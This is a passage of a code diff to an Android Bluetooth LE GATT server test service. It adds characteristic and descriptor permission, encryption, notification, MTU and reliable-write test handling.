+        cancelNotificationTaskOfSecureTestStartFailure();
         stopAdvertise();
         if (mGattServer == null) {
            return;
         }
-        if (mDevice != null) mGattServer.cancelConnection(mDevice);
+        if (mDevice != null) {
+            mGattServer.cancelConnection(mDevice);
+        }
+        mGattServer.clearServices();
         mGattServer.close();
     }
 
-    private void writeCharacteristic(String writeValue) {
-        BluetoothGattCharacteristic characteristic = getCharacteristic(CHARACTERISTIC_UUID);
-        if (characteristic != null) return;
-        characteristic.setValue(writeValue);
-    }
+    /**
+     * Sets default value to characteristic and descriptor.
+     *
+     * Set operation will be done after connection interval.
+     * (If set values immediately, multiple read/write operations may fail.)
+     */
+    private synchronized void resetValues() {
+        // cancel pending task
+        if (mResetValuesTask != null) {
+            mHandler.removeCallbacks(mResetValuesTask);
+            mResetValuesTask = null;
+        }
 
-    private void writeDescriptor(String writeValue) {
-        BluetoothGattDescriptor descriptor = getDescriptor();
-        if (descriptor == null) return;
-        descriptor.setValue(writeValue.getBytes());
+        // reserve task
+        mResetValuesTask = new Runnable() {
+            @Override
+            public void run() {
+                getCharacteristic(CHARACTERISTIC_UUID).setValue(WRITE_VALUE.getBytes());
+                getDescriptor().setValue(WRITE_VALUE.getBytes());
+            }
+        };
+        mHandler.postDelayed(mResetValuesTask, CONN_INTERVAL);
     }
 
     private void notifyOpenFail() {
-        if (DEBUG) Log.d(TAG, "notifyOpenFail");
+        if (DEBUG) {
+            Log.d(TAG, "notifyOpenFail");
+        }
         Intent intent = new Intent(BLE_OPEN_FAIL);
         sendBroadcast(intent);
     }
 
-    private void notifyConnected() {
-        if (DEBUG) Log.d(TAG, "notifyConnected");
-        Intent intent = new Intent(BLE_SERVER_CONNECTED);
+    private void notifyAddServiceFail() {
+        if (DEBUG) {
+            Log.d(TAG, "notifyAddServiceFail");
+        }
+        Intent intent = new Intent(BLE_ADD_SERVICE_FAIL);
         sendBroadcast(intent);
     }
 
+    private void notifyAdvertiseUnsupported() {
+        if (DEBUG) {
+            Log.d(TAG, "notifyAdvertiseUnsupported");
+        }
+        Intent intent = new Intent(BLE_ADVERTISE_UNSUPPORTED);
+        sendBroadcast(intent);
+    }
+
+    private void notifyConnected() {
+        if (DEBUG) {
+            Log.d(TAG, "notifyConnected");
+        }
+        Intent intent = new Intent(BLE_SERVER_CONNECTED);
+        sendBroadcast(intent);
+
+        resetValues();
+    }
+
     private void notifyDisconnected() {
-        if (DEBUG) Log.d(TAG, "notifyDisconnected");
+        if (DEBUG) {
+            Log.d(TAG, "notifyDisconnected");
+        }
         Intent intent = new Intent(BLE_SERVER_DISCONNECTED);
         sendBroadcast(intent);
     }
 
     private void notifyServiceAdded() {
-        if (DEBUG) Log.d(TAG, "notifyServiceAdded");
+        if (DEBUG) {
+            Log.d(TAG, "notifyServiceAdded");
+        }
         Intent intent = new Intent(BLE_SERVICE_ADDED);
         sendBroadcast(intent);
     }
 
-    private void notifyCharacteristicReadRequest() {
-        if (DEBUG) Log.d(TAG, "notifyCharacteristicReadRequest");
+    private void notifyMtuRequest() {
+        if (DEBUG) {
+            Log.d(TAG, "notifyMtuRequest");
+        }
+        Intent intent;
+        if (mCountMtuChange == 1) {
+            intent = new Intent(BLE_MTU_REQUEST_23BYTES);
+        } else if (mCountMtuChange == 2) {
+            intent = new Intent(BLE_MTU_REQUEST_512BYTES);
+        } else {
+            return; // never occurs
+        }
+        sendBroadcast(intent);
+    }
+
+    private void notifyCharacteristicReadRequest(boolean resetValues) {
+        if (DEBUG) {
+            Log.d(TAG, "notifyCharacteristicReadRequest");
+        }
         Intent intent = new Intent(BLE_CHARACTERISTIC_READ_REQUEST);
         sendBroadcast(intent);
+
+        if (resetValues) {
+            resetValues();
+        }
     }
 
     private void notifyCharacteristicWriteRequest() {
-        if (DEBUG) Log.d(TAG, "notifyCharacteristicWriteRequest");
+        if (DEBUG) {
+            Log.d(TAG, "notifyCharacteristicWriteRequest");
+        }
         Intent intent = new Intent(BLE_CHARACTERISTIC_WRITE_REQUEST);
         sendBroadcast(intent);
+
+        resetValues();
+    }
+
+    private void notifyCharacteristicReadRequestWithoutPermission() {
+        if (DEBUG) {
+            Log.d(TAG, "notifyCharacteristicReadRequestWithoutPermission");
+        }
+        Intent intent = new Intent(BLE_CHARACTERISTIC_READ_REQUEST_WITHOUT_PERMISSION);
+        sendBroadcast(intent);
+
+        resetValues();
+    }
+
+    private void notifyCharacteristicWriteRequestWithoutPermission() {
+        if (DEBUG) {
+            Log.d(TAG, "notifyCharacteristicWriteRequestWithoutPermission");
+        }
+        Intent intent = new Intent(BLE_CHARACTERISTIC_WRITE_REQUEST_WITHOUT_PERMISSION);
+        sendBroadcast(intent);
+
+        resetValues();
+    }
+
+    private void notifyCharacteristicReadRequestNeedEncrypted() {
+        if (DEBUG) {
+            Log.d(TAG, "notifyCharacteristicReadRequestNeedEncrypted");
+        }
+        Intent intent = new Intent(BLE_CHARACTERISTIC_READ_REQUEST_NEED_ENCRYPTED);
+        sendBroadcast(intent);
+
+        resetValues();
+    }
+
+    private void notifyCharacteristicWriteRequestNeedEncrypted() {
+        if (DEBUG) {
+            Log.d(TAG, "notifyCharacteristicWriteRequestNeedEncrypted");
+        }
+        Intent intent = new Intent(BLE_CHARACTERISTIC_WRITE_REQUEST_NEED_ENCRYPTED);
+        sendBroadcast(intent);
+
+        resetValues();
+    }
+
+    private void notifyCharacteristicNotificationRequest() {
+        if (DEBUG) {
+            Log.d(TAG, "notifyCharacteristicNotificationRequest");
+        }
+        mNotifyCount = 11;
+        Intent intent = new Intent(BLE_CHARACTERISTIC_NOTIFICATION_REQUEST);
+        sendBroadcast(intent);
+
+        resetValues();
+    }
+
+    private void notifyCharacteristicIndicationRequest() {
+        if (DEBUG) {
+            Log.d(TAG, "notifyCharacteristicIndicationRequest");
+        }
+        Intent intent = new Intent(BLE_CHARACTERISTIC_INDICATE_REQUEST);
+        sendBroadcast(intent);
+
+        resetValues();
     }
 
     private void notifyDescriptorReadRequest() {
-        if (DEBUG) Log.d(TAG, "notifyDescriptorReadRequest");
+        if (DEBUG) {
+            Log.d(TAG, "notifyDescriptorReadRequest");
+        }
         Intent intent = new Intent(BLE_DESCRIPTOR_READ_REQUEST);
         sendBroadcast(intent);
+
+        resetValues();
     }
 
     private void notifyDescriptorWriteRequest() {
-        if (DEBUG) Log.d(TAG, "notifyDescriptorWriteRequest");
+        if (DEBUG) {
+            Log.d(TAG, "notifyDescriptorWriteRequest");
+        }
         Intent intent = new Intent(BLE_DESCRIPTOR_WRITE_REQUEST);
         sendBroadcast(intent);
+
+        resetValues();
+    }
+
+    private void notifyDescriptorReadRequestWithoutPermission() {
+        if (DEBUG) {
+            Log.d(TAG, "notifyDescriptorReadRequestWithoutPermission");
+        }
+        Intent intent = new Intent(BLE_DESCRIPTOR_READ_REQUEST_WITHOUT_PERMISSION);
+        sendBroadcast(intent);
+
+        resetValues();
+    }
+
+    private void notifyDescriptorWriteRequestWithoutPermission() {
+        if (DEBUG) {
+            Log.d(TAG, "notifyDescriptorWriteRequestWithoutPermission");
+        }
+        Intent intent = new Intent(BLE_DESCRIPTOR_WRITE_REQUEST_WITHOUT_PERMISSION);
+        sendBroadcast(intent);
+
+        resetValues();
+    }
+
+    private void notifyDescriptorReadRequestNeedEncrypted() {
+        if (DEBUG) {
+            Log.d(TAG, "notifyDescriptorReadRequestNeedEncrypted");
+        }
+        Intent intent = new Intent(BLE_DESCRIPTOR_READ_REQUEST_NEED_ENCRYPTED);
+        sendBroadcast(intent);
+
+        resetValues();
+    }
+
+    private void notifyDescriptorWriteRequestNeedEncrypted() {
+        if (DEBUG) {
+            Log.d(TAG, "notifyDescriptorWriteRequestNeedEncrypted");
+        }
+        Intent intent = new Intent(BLE_DESCRIPTOR_WRITE_REQUEST_NEED_ENCRYPTED);
+        sendBroadcast(intent);
+
+        resetValues();
     }
 
     private void notifyExecuteWrite() {
-        if (DEBUG) Log.d(TAG, "notifyExecuteWrite");
+        if (DEBUG) {
+            Log.d(TAG, "notifyExecuteWrite");
+        }
         Intent intent = new Intent(BLE_EXECUTE_WRITE);
         sendBroadcast(intent);
+
+        resetValues();
+    }
+
+    private void notifyReliableWriteBadResp() {
+        if (DEBUG) {
+            Log.d(TAG, "notifyReliableWriteBadResp");
+        }
+        Intent intent = new Intent(BLE_RELIABLE_WRITE_BAD_RESP);
+        sendBroadcast(intent);
+
+        resetValues();
     }
 
     private BluetoothGattCharacteristic getCharacteristic(UUID uuid) {
-        BluetoothGattCharacteristic characteristic =
-                mService.getCharacteristic(uuid);
+        BluetoothGattCharacteristic characteristic = mService.getCharacteristic(uuid);
         if (characteristic == null) {
             showMessage("Characteristic not found");
-            return null;
         }
         return characteristic;
     }
 
     private BluetoothGattDescriptor getDescriptor() {
-        BluetoothGattCharacteristic characteristic = getCharacteristic(CHARACTERISTIC_UUID);
-        if (characteristic == null) return null;
+        BluetoothGattDescriptor descriptor = null;
 
-        BluetoothGattDescriptor descriptor = characteristic.getDescriptor(DESCRIPTOR_UUID);
-        if (descriptor == null) {
-            showMessage("Descriptor not found");
-            return null;
+        BluetoothGattCharacteristic characteristic = getCharacteristic(CHARACTERISTIC_UUID);
+        if (characteristic != null) {
+            descriptor = characteristic.getDescriptor(DESCRIPTOR_UUID);
+            if (descriptor == null) {
+                showMessage("Descriptor not found");
+            }
         }
         return descriptor;
     }
 
+    /**
+     * Create service for notification test
+     * @return
+     */
+    private BluetoothGattService createAdditionalNotificationService() {
+        BluetoothGattService service =
+                new BluetoothGattService(SERVICE_UUID_ADDITIONAL, BluetoothGattService.SERVICE_TYPE_PRIMARY);
+
+        BluetoothGattCharacteristic notiCharacteristic =
+                new BluetoothGattCharacteristic(UPDATE_CHARACTERISTIC_UUID_1, 0x12, 0x1);
+        BluetoothGattDescriptor descriptor = new BluetoothGattDescriptor(UPDATE_DESCRIPTOR_UUID, 0x11);
+        descriptor.setValue(BluetoothGattDescriptor.DISABLE_NOTIFICATION_VALUE);
+        notiCharacteristic.addDescriptor(descriptor);
+        notiCharacteristic.setValue(NOTIFY_VALUE);
+        service.addCharacteristic(notiCharacteristic);
+
+        notiCharacteristic =
+                new BluetoothGattCharacteristic(UPDATE_CHARACTERISTIC_UUID_2, 0x14, 0x11);
+        descriptor = new BluetoothGattDescriptor(UPDATE_DESCRIPTOR_UUID, 0x11);
+        descriptor.setValue(BluetoothGattDescriptor.DISABLE_NOTIFICATION_VALUE);
+        notiCharacteristic.addDescriptor(descriptor);
+        notiCharacteristic.setValue(NOTIFY_VALUE);
+        service.addCharacteristic(notiCharacteristic);
+
+        notiCharacteristic =
+                new BluetoothGattCharacteristic(UPDATE_CHARACTERISTIC_UUID_3, 0x16, 0x11);
+        descriptor = new BluetoothGattDescriptor(UPDATE_DESCRIPTOR_UUID, 0x11);
+        descriptor.setValue(BluetoothGattDescriptor.DISABLE_NOTIFICATION_VALUE);
+        notiCharacteristic.addDescriptor(descriptor);
+        notiCharacteristic.setValue(NOTIFY_VALUE);
+        service.addCharacteristic(notiCharacteristic);
+
+        notiCharacteristic =
+                new BluetoothGattCharacteristic(UPDATE_CHARACTERISTIC_UUID_4, 0x18, 0x10);
+        descriptor = new BluetoothGattDescriptor(UPDATE_DESCRIPTOR_UUID, 0x11);
+        descriptor.setValue(BluetoothGattDescriptor.DISABLE_NOTIFICATION_VALUE);
+        notiCharacteristic.addDescriptor(descriptor);
+        notiCharacteristic.setValue(NOTIFY_VALUE);
+        service.addCharacteristic(notiCharacteristic);
+
+        notiCharacteristic =
+                new BluetoothGattCharacteristic(UPDATE_CHARACTERISTIC_UUID_5, 0x1C, 0x11);
+        descriptor = new BluetoothGattDescriptor(UPDATE_DESCRIPTOR_UUID, 0x11);
+        descriptor.setValue(BluetoothGattDescriptor.DISABLE_NOTIFICATION_VALUE);
+        notiCharacteristic.addDescriptor(descriptor);
+        notiCharacteristic.setValue(NOTIFY_VALUE);
+        service.addCharacteristic(notiCharacteristic);
+
+        notiCharacteristic =
+                new BluetoothGattCharacteristic(UPDATE_CHARACTERISTIC_UUID_11, 0x3A, 0x11);
+        descriptor = new BluetoothGattDescriptor(UPDATE_DESCRIPTOR_UUID, 0x11);
+        descriptor.setValue(BluetoothGattDescriptor.DISABLE_NOTIFICATION_VALUE);
+        notiCharacteristic.addDescriptor(descriptor);
+        notiCharacteristic.setValue(NOTIFY_VALUE);
+        service.addCharacteristic(notiCharacteristic);
+
+        notiCharacteristic =
+                new BluetoothGattCharacteristic(UPDATE_CHARACTERISTIC_UUID_12, 0x3C, 0x11);
+        descriptor = new BluetoothGattDescriptor(UPDATE_DESCRIPTOR_UUID, 0x11);
+        descriptor.setValue(BluetoothGattDescriptor.DISABLE_NOTIFICATION_VALUE);
+        notiCharacteristic.addDescriptor(descriptor);
+        notiCharacteristic.setValue(NOTIFY_VALUE);
+        service.addCharacteristic(notiCharacteristic);
+
+        notiCharacteristic =
+                new BluetoothGattCharacteristic(UPDATE_CHARACTERISTIC_UUID_13, 0x3E, 0x11);
+        descriptor = new BluetoothGattDescriptor(UPDATE_DESCRIPTOR_UUID, 0x11);
+        descriptor.setValue(BluetoothGattDescriptor.DISABLE_NOTIFICATION_VALUE);
+        notiCharacteristic.addDescriptor(descriptor);
+        notiCharacteristic.setValue(NOTIFY_VALUE);
+        service.addCharacteristic(notiCharacteristic);
+
+        notiCharacteristic =
+                new BluetoothGattCharacteristic(UPDATE_CHARACTERISTIC_UUID_14, 0x10, 0x0);
+        descriptor = new BluetoothGattDescriptor(UPDATE_DESCRIPTOR_UUID, 0x11);
+        descriptor.setValue(BluetoothGattDescriptor.DISABLE_NOTIFICATION_VALUE);
+        notiCharacteristic.addDescriptor(descriptor);
+        notiCharacteristic.setValue(NOTIFY_VALUE);
+        service.addCharacteristic(notiCharacteristic);
+
+        notiCharacteristic =
+                new BluetoothGattCharacteristic(UPDATE_CHARACTERISTIC_UUID_15, 0x30, 0x0);
+        descriptor = new BluetoothGattDescriptor(UPDATE_DESCRIPTOR_UUID, 0x11);
+        descriptor.setValue(BluetoothGattDescriptor.DISABLE_NOTIFICATION_VALUE);
+        notiCharacteristic.addDescriptor(descriptor);
+        notiCharacteristic.setValue(NOTIFY_VALUE);
+        service.addCharacteristic(notiCharacteristic);
+
+        return service;
+    }
+
     private BluetoothGattService createService() {
         BluetoothGattService service =
                 new BluetoothGattService(SERVICE_UUID, BluetoothGattService.SERVICE_TYPE_PRIMARY);
         BluetoothGattCharacteristic characteristic =
                 new BluetoothGattCharacteristic(CHARACTERISTIC_UUID, 0x0A, 0x11);
+        characteristic.setValue(WRITE_VALUE.getBytes());
+
         BluetoothGattDescriptor descriptor = new BluetoothGattDescriptor(DESCRIPTOR_UUID, 0x11);
+        descriptor.setValue(WRITE_VALUE.getBytes());
+        characteristic.addDescriptor(descriptor);
+
+        BluetoothGattDescriptor descriptor_permission = new BluetoothGattDescriptor(DESCRIPTOR_NO_READ_UUID, 0x10);
+        characteristic.addDescriptor(descriptor_permission);
+
+        descriptor_permission = new BluetoothGattDescriptor(DESCRIPTOR_NO_WRITE_UUID, 0x01);
+        characteristic.addDescriptor(descriptor_permission);
+
+        service.addCharacteristic(characteristic);
+
+        characteristic =
+                new BluetoothGattCharacteristic(CHARACTERISTIC_RESULT_UUID, 0x0A, 0x11);
+        characteristic.addDescriptor(descriptor);
+
+        BluetoothGattDescriptor descriptor_encrypted = new BluetoothGattDescriptor(DESCRIPTOR_NEED_ENCRYPTED_READ_UUID, 0x02);
+        characteristic.addDescriptor(descriptor_encrypted);
+
+        descriptor_encrypted = new BluetoothGattDescriptor(DESCRIPTOR_NEED_ENCRYPTED_WRITE_UUID, 0x20);
+        characteristic.addDescriptor(descriptor_encrypted);
+
+        service.addCharacteristic(characteristic);
+
+        // Add new Characteristics
+        // Registered the characteristic of read permission for operation confirmation.
+        characteristic =
+                new BluetoothGattCharacteristic(CHARACTERISTIC_NO_READ_UUID, 0x0A, 0x10);
         characteristic.addDescriptor(descriptor);
         service.addCharacteristic(characteristic);
 
+        // Registered the characteristic of write permission for operation confirmation.
+        characteristic =
+                new BluetoothGattCharacteristic(CHARACTERISTIC_NO_WRITE_UUID, 0x0A, 0x01);
+        characteristic.addDescriptor(descriptor);
+        service.addCharacteristic(characteristic);
+
+        // Registered the characteristic of authenticate (Encrypted) for operation confirmation.
+        characteristic =
+                new BluetoothGattCharacteristic(CHARACTERISTIC_NEED_ENCRYPTED_READ_UUID, 0x0A, 0x02);
+        characteristic.addDescriptor(descriptor);
+        service.addCharacteristic(characteristic);
+
+        characteristic =
+                new BluetoothGattCharacteristic(CHARACTERISTIC_NEED_ENCRYPTED_WRITE_UUID, 0x0A, 0x20);
+        characteristic.addDescriptor(descriptor);
+        service.addCharacteristic(characteristic);
+
+        // Add new Characteristics(Indicate)
+        BluetoothGattCharacteristic indicateCharacteristic =
+                new BluetoothGattCharacteristic(INDICATE_CHARACTERISTIC_UUID, 0x2A, 0x11);
+        descriptor = new BluetoothGattDescriptor(UPDATE_DESCRIPTOR_UUID, 0x11);
+        descriptor.setValue(BluetoothGattDescriptor.DISABLE_NOTIFICATION_VALUE);
+        indicateCharacteristic.addDescriptor(descriptor);
+        indicateCharacteristic.setValue(INDICATE_VALUE);
+        service.addCharacteristic(indicateCharacteristic);
+
+        // Add new Characteristics(Notify)
         BluetoothGattCharacteristic notiCharacteristic =
-                new BluetoothGattCharacteristic(UPDATE_CHARACTERISTIC_UUID, 0x10, 0x00);
+                new BluetoothGattCharacteristic(UPDATE_CHARACTERISTIC_UUID, 0x1A, 0x11);
+        descriptor = new BluetoothGattDescriptor(UPDATE_DESCRIPTOR_UUID, 0x11);
+        descriptor.setValue(BluetoothGattDescriptor.DISABLE_NOTIFICATION_VALUE);
+        notiCharacteristic.addDescriptor(descriptor);
+        notiCharacteristic.setValue(NOTIFY_VALUE);
+        service.addCharacteristic(notiCharacteristic);
+
+        notiCharacteristic =
+                new BluetoothGattCharacteristic(UPDATE_CHARACTERISTIC_UUID_6, 0x1E, 0x11);
+        descriptor = new BluetoothGattDescriptor(UPDATE_DESCRIPTOR_UUID, 0x11);
+        descriptor.setValue(BluetoothGattDescriptor.DISABLE_NOTIFICATION_VALUE);
+        notiCharacteristic.addDescriptor(descriptor);
+        notiCharacteristic.setValue(NOTIFY_VALUE);
+        service.addCharacteristic(notiCharacteristic);
+
+        notiCharacteristic =
+                new BluetoothGattCharacteristic(UPDATE_CHARACTERISTIC_UUID_7, 0x32, 0x1);
+        descriptor = new BluetoothGattDescriptor(UPDATE_DESCRIPTOR_UUID, 0x11);
+        descriptor.setValue(BluetoothGattDescriptor.DISABLE_NOTIFICATION_VALUE);
+        notiCharacteristic.addDescriptor(descriptor);
+        notiCharacteristic.setValue(NOTIFY_VALUE);
+        service.addCharacteristic(notiCharacteristic);
+
+        notiCharacteristic =
+                new BluetoothGattCharacteristic(UPDATE_CHARACTERISTIC_UUID_8, 0x34, 0x11);
+        descriptor = new BluetoothGattDescriptor(UPDATE_DESCRIPTOR_UUID, 0x11);
+        descriptor.setValue(BluetoothGattDescriptor.DISABLE_NOTIFICATION_VALUE);
+        notiCharacteristic.addDescriptor(descriptor);
+        notiCharacteristic.setValue(NOTIFY_VALUE);
+        service.addCharacteristic(notiCharacteristic);
+
+        notiCharacteristic =
+                new BluetoothGattCharacteristic(UPDATE_CHARACTERISTIC_UUID_9, 0x36, 0x11);
+        descriptor = new BluetoothGattDescriptor(UPDATE_DESCRIPTOR_UUID, 0x11);
+        descriptor.setValue(BluetoothGattDescriptor.DISABLE_NOTIFICATION_VALUE);
+        notiCharacteristic.addDescriptor(descriptor);
+        notiCharacteristic.setValue(NOTIFY_VALUE);
+        service.addCharacteristic(notiCharacteristic);
+
+        notiCharacteristic =
+                new BluetoothGattCharacteristic(UPDATE_CHARACTERISTIC_UUID_10, 0x38, 0x10);
+        descriptor = new BluetoothGattDescriptor(UPDATE_DESCRIPTOR_UUID, 0x11);
+        descriptor.setValue(BluetoothGattDescriptor.DISABLE_NOTIFICATION_VALUE);
+        notiCharacteristic.addDescriptor(descriptor);
+        notiCharacteristic.setValue(NOTIFY_VALUE);
         service.addCharacteristic(notiCharacteristic);
 
         return service;
     }
 
-    private void beginNotification() {
-        TimerTask task = new TimerTask() {
-            @Override
-            public void run() {
-                if (mGattServer == null) {
-                    if (DEBUG) Log.d(TAG, "GattServer is null, return");
-                    return;
-                }
-                BluetoothGattCharacteristic characteristic =
-                        mService.getCharacteristic(UPDATE_CHARACTERISTIC_UUID);
-                if (characteristic == null) return;
-
-                String date = (new Date()).toString();
-                characteristic.setValue(date);
-                mGattServer.notifyCharacteristicChanged(mDevice, characteristic, false);
-            }
-        };
-        mNotificationTimer = new Timer();
-        mNotificationTimer.schedule(task, 0, 1000);
-    }
-
-    private void stopNotification() {
-        if (mNotificationTimer == null) return;
-        mNotificationTimer.cancel();
-        mNotificationTimer = null;
-    }
-
     private void showMessage(final String msg) {
         mHandler.post(new Runnable() {
             public void run() {
@@ -274,17 +822,83 @@
         });
     }
 
+    private void onMtuTestDataReceive() {
+
+        Log.d(TAG, "onMtuTestDataReceive(" + mCountMtuChange + "):" + mMtuTestReceivedData);
+
+        // verify
+        if (mMtuTestReceivedData.equals(BleClientService.WRITE_VALUE_512BYTES_FOR_MTU)) {
+
+            // write back data
+            // MTU test verifies whether the write/read operations go well.
+            BluetoothGattCharacteristic characteristic = getCharacteristic(CHARACTERISTIC_UUID);
+            characteristic.setValue(mMtuTestReceivedData.getBytes());
+
+            notifyMtuRequest();
+        } else {
+            showMessage(getString(R.string.ble_mtu_fail_message));
+        }
+        mMtuTestReceivedData = "";
+        if (mCountMtuChange >= 2) {
+            // All MTU change tests completed
+            mCountMtuChange = 0;
+        }
+    }
+
+    private synchronized void cancelNotificationTaskOfSecureTestStartFailure() {
+        if (mNotificationTaskOfSecureTestStartFailure != null) {
+            mHandler.removeCallbacks(mNotificationTaskOfSecureTestStartFailure);
+            mNotificationTaskOfSecureTestStartFailure = null;
+        }
+    }
+
     private final BluetoothGattServerCallback mCallbacks = new BluetoothGattServerCallback() {
         @Override
         public void onConnectionStateChange(BluetoothDevice device, int status, int newState) {
-            if (DEBUG) Log.d(TAG, "onConnectionStateChange: newState=" + newState);
+            if (DEBUG) {
+                Log.d(TAG, "onConnectionStateChange: newState=" + newState);
+            }
+
             if (status == BluetoothGatt.GATT_SUCCESS) {
                 if (newState == BluetoothProfile.STATE_CONNECTED) {
                     mDevice = device;
-                    notifyConnected();
-                    beginNotification();
+                    boolean bonded = false;
+                    Set<BluetoothDevice> pairedDevices = mBluetoothManager.getAdapter().getBondedDevices();
+                    if (pairedDevices.size() > 0) {
+                        for (BluetoothDevice target : pairedDevices) {
+                            if (target.getAddress().equals(device.getAddress())) {
+                                bonded = true;
+                                break;
+                            }
+                        }
+                    }
+
+                    if (mSecure && ((device.getBondState() == BluetoothDevice.BOND_NONE) || !bonded)) {
+                        // not pairing and execute Secure Test
+                        cancelNotificationTaskOfSecureTestStartFailure();
+                        /*
+                        mNotificationTaskOfSecureTestStartFailure = new Runnable() {
+                            @Override
+                            public void run() {
+                                mNotificationTaskOfSecureTestStartFailure = null;
+                                if (mSecure && (mDevice.getBondState() != BluetoothDevice.BOND_BONDED)) {
+                                    notifyMismatchSecure();
+                                }
+                            }
+                        };
+                        mHandler.postDelayed(mNotificationTaskOfSecureTestStartFailure,
+                                NOTIFICATION_DELAY_OF_SECURE_TEST_FAILURE);
+                        */
+                    } else if (!mSecure && ((device.getBondState() != BluetoothDevice.BOND_NONE) || bonded)) {
+                        // already pairing nad execute Insecure Test
+                        /*
+                        notifyMismatchInsecure();
+                        */
+                    } else {
+                        cancelNotificationTaskOfSecureTestStartFailure();
+                        notifyConnected();
+                    }
                 } else if (status == BluetoothProfile.STATE_DISCONNECTED) {
-                    stopNotification();
                     notifyDisconnected();
                     mDevice = null;
                 }
@@ -293,22 +907,78 @@
 
         @Override
         public void onServiceAdded(int status, BluetoothGattService service) {
-            if (DEBUG) Log.d(TAG, "onServiceAdded()");
-            if (status == BluetoothGatt.GATT_SUCCESS) notifyServiceAdded();
+            if (DEBUG) {
+                Log.d(TAG, "onServiceAdded(): " + service.getUuid());
+                dumpService(service, 0);
+            }
+            if (status == BluetoothGatt.GATT_SUCCESS) {
+                UUID uuid = service.getUuid();
+
+                if (uuid.equals(mService.getUuid())) {
+                    // create and add nested service
+                    BluetoothGattService includedService =
+                            new BluetoothGattService(SERVICE_UUID_INCLUDED, BluetoothGattService.SERVICE_TYPE_SECONDARY);
+                    BluetoothGattCharacteristic characteristic =
+                        new BluetoothGattCharacteristic(CHARACTERISTIC_UUID, 0x0A, 0x11);
+                    characteristic.setValue(WRITE_VALUE.getBytes());
+                    BluetoothGattDescriptor descriptor = new BluetoothGattDescriptor(DESCRIPTOR_UUID, 0x11);
+                    descriptor.setValue(WRITE_VALUE.getBytes());
+                    characteristic.addDescriptor(descriptor);
+                    includedService.addCharacteristic(characteristic);
+                    mGattServer.addService(includedService);
+                } else if (uuid.equals(SERVICE_UUID_INCLUDED)) {
+                    mService.addService(service);
+                    mGattServer.addService(mAdditionalNotificationService);
+                } else if (uuid.equals(mAdditionalNotificationService.getUuid())) {
+                    // all services added
+                    notifyServiceAdded();
+                } else {
+                    notifyAddServiceFail();
+                }
+            } else {
+                notifyAddServiceFail();
+            }
         }
 
         @Override
-        public void onCharacteristicReadRequest(BluetoothDevice device, int requestId,
-                int offset, BluetoothGattCharacteristic characteristic) {
+        public void onCharacteristicReadRequest(BluetoothDevice device, int requestId, int offset, BluetoothGattCharacteristic characteristic) {
             if (mGattServer == null) {
-                if (DEBUG) Log.d(TAG, "GattServer is null, return");
+                if (DEBUG) {
+                    Log.d(TAG, "GattServer is null, return");
+                }
                 return;
             }
-            if (DEBUG) Log.d(TAG, "onCharacteristicReadRequest()");
+            if (DEBUG) {
+                Log.d(TAG, "onCharacteristicReadRequest()");
+            }
 
-            notifyCharacteristicReadRequest();
-            mGattServer.sendResponse(device, requestId, BluetoothGatt.GATT_SUCCESS, 0,
-                                     characteristic.getValue());
+            boolean finished = false;
+            byte[] value = null;
+            if (mMtuSize > 0) {
+                byte[] buf = characteristic.getValue();
+                if (buf != null) {
+                    int len = Math.min((buf.length - offset), mMtuSize);
+                    if (len > 0) {
+                        value = Arrays.copyOfRange(buf, offset, (offset + len));
+                    }
+                    finished = ((offset + len) >= buf.length);
+                    if (finished) {
+                        Log.d(TAG, "sent whole data: " + (new String(characteristic.getValue())));
+                    }
+                }
+            } else {
+                value = characteristic.getValue();
+                finished = true;
+            }
+
+            mGattServer.sendResponse(device, requestId, BluetoothGatt.GATT_SUCCESS, offset, value);
+
+            UUID uid = characteristic.getUuid();
+            if (uid.equals(CHARACTERISTIC_NEED_ENCRYPTED_READ_UUID)) {
+                notifyCharacteristicReadRequestNeedEncrypted();
+            } else {
+                notifyCharacteristicReadRequest(finished);
+            }
         }
 
         @Override
@@ -317,32 +987,113 @@
                 boolean preparedWrite, boolean responseNeeded,
                 int offset, byte[] value) {
             if (mGattServer == null) {
-                if (DEBUG) Log.d(TAG, "GattServer is null, return");
+                if (DEBUG) {
+                    Log.d(TAG, "GattServer is null, return");
+                }
                 return;
             }
-            if (DEBUG) Log.d(TAG, "onCharacteristicWriteRequest: preparedWrite=" + preparedWrite);
+            if (DEBUG) {
+                Log.d(TAG, "onCharacteristicWriteRequest: preparedWrite=" + preparedWrite + ", responseNeeded= " + responseNeeded);
+            }
 
-            notifyCharacteristicWriteRequest();
-            if (preparedWrite) mReliableWriteValue = new String(value);
-            else characteristic.setValue(value);
+            if (characteristic.getUuid().equals(CHARACTERISTIC_RESULT_UUID)) {
+                String resValue = new String(value);
+                Log.d(TAG, "CHARACTERISTIC_RESULT_UUID: resValue=" + resValue);
+                switch (resValue) {
+                    case WRITE_NO_PERMISSION:
+                        notifyCharacteristicWriteRequestWithoutPermission();
+                        break;
+                    case READ_NO_PERMISSION:
+                        notifyCharacteristicReadRequestWithoutPermission();
+                        break;
+                    case DESCRIPTOR_WRITE_NO_PERMISSION:
+                        notifyDescriptorWriteRequestWithoutPermission();
+                        break;
+                    case DESCRIPTOR_READ_NO_PERMISSION:
+                        notifyDescriptorReadRequestWithoutPermission();
+                        break;
+                }
+                if (responseNeeded) {
+                    mGattServer.sendResponse(device, requestId, BluetoothGatt.GATT_SUCCESS, offset, value);
+                }
+                return;
+            }
 
-            if (responseNeeded)
+            // MTU test flow
+            if (mCountMtuChange > 0) {
+                if (preparedWrite) {
+                    mMtuTestReceivedData += new String(value);
+                } else {
+                    String strValue = new String(value);
+                    if (mCountMtuChange > 0) {
+                        mMtuTestReceivedData = strValue;
+                        onMtuTestDataReceive();
+                    }
+                }
+                if (responseNeeded) {
+                    mGattServer.sendResponse(device, requestId, BluetoothGatt.GATT_SUCCESS, offset, value);
+                }
+
+                return;
+            }
+
+            // Reliable write with bad response test flow
+            String valueStr = new String(value);
+            if (BleClientService.WRITE_VALUE_BAD_RESP.equals(valueStr)) {
                 mGattServer.sendResponse(device, requestId, BluetoothGatt.GATT_SUCCESS, 0, null);
+                notifyReliableWriteBadResp();
+                return;
+            }
+
+            if (preparedWrite) {
+                mReliableWriteValue += (new String(value));
+            } else {
+                characteristic.setValue(value);
+                // verify
+                if (Arrays.equals(BleClientService.WRITE_VALUE.getBytes(), characteristic.getValue())) {
+                    UUID uid = characteristic.getUuid();
+                    if (uid.equals(CHARACTERISTIC_NEED_ENCRYPTED_WRITE_UUID)) {
+                        notifyCharacteristicWriteRequestNeedEncrypted();
+                    } else {
+                        notifyCharacteristicWriteRequest();
+                    }
+                } else {
+                    showMessage("Written data is not correct");
+                }
+            }
+
+            if (responseNeeded) {
